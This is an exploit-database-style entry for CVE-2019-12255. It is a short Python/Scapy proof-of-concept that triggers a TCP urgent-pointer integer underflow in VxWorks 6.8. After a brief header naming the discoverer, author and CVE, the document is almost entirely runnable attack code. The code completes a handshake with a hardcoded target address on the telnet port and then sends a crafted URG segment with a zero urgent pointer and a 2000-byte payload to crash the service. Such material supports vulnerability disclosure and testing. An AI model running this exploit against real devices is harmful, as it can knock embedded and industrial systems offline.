VxWorks 6.8 - TCP Urgent Pointer 0 Integer Underflow

# Exploit Title: VxWorks TCP Urgent pointer = 0 integer underflow vulnerability
# Discovered By: Armis Security
# PoC Author: Zhou Yu (twitter: @504137480)
# Vendor Homepage: https://www.windriver.com
# Tested on: VxWorks 6.8
# CVE: CVE-2019-12255
# More Details: https://github.com/dazhouzhou/vxworks-poc/tree/master/CVE-2019-12255
# The PoC can crash VxWorks tasks(set the port corresponding to the task in the PoC), such as telnet, ftp, etc.

from scapy.all import *

if __name__ == "__main__":
    ip = "192.168.10.199"
    dport = 23
    seq_num = 1000
    payload = "\x42"*2000
    sport = random.randint(1024,65535)

    syn = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "S", seq=seq_num)
    syn_ack = sr1(syn)

    seq_num = seq_num + 1
    ack_num = syn_ack.seq+1
    ack = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "A", seq=seq_num, ack=ack_num)
    send(ack)

    psh = IP(dst = ip)/TCP(sport = sport , dport = dport ,flags = "PAU", seq=seq_num, ack=ack_num, urgptr=0) / payload
    send(psh)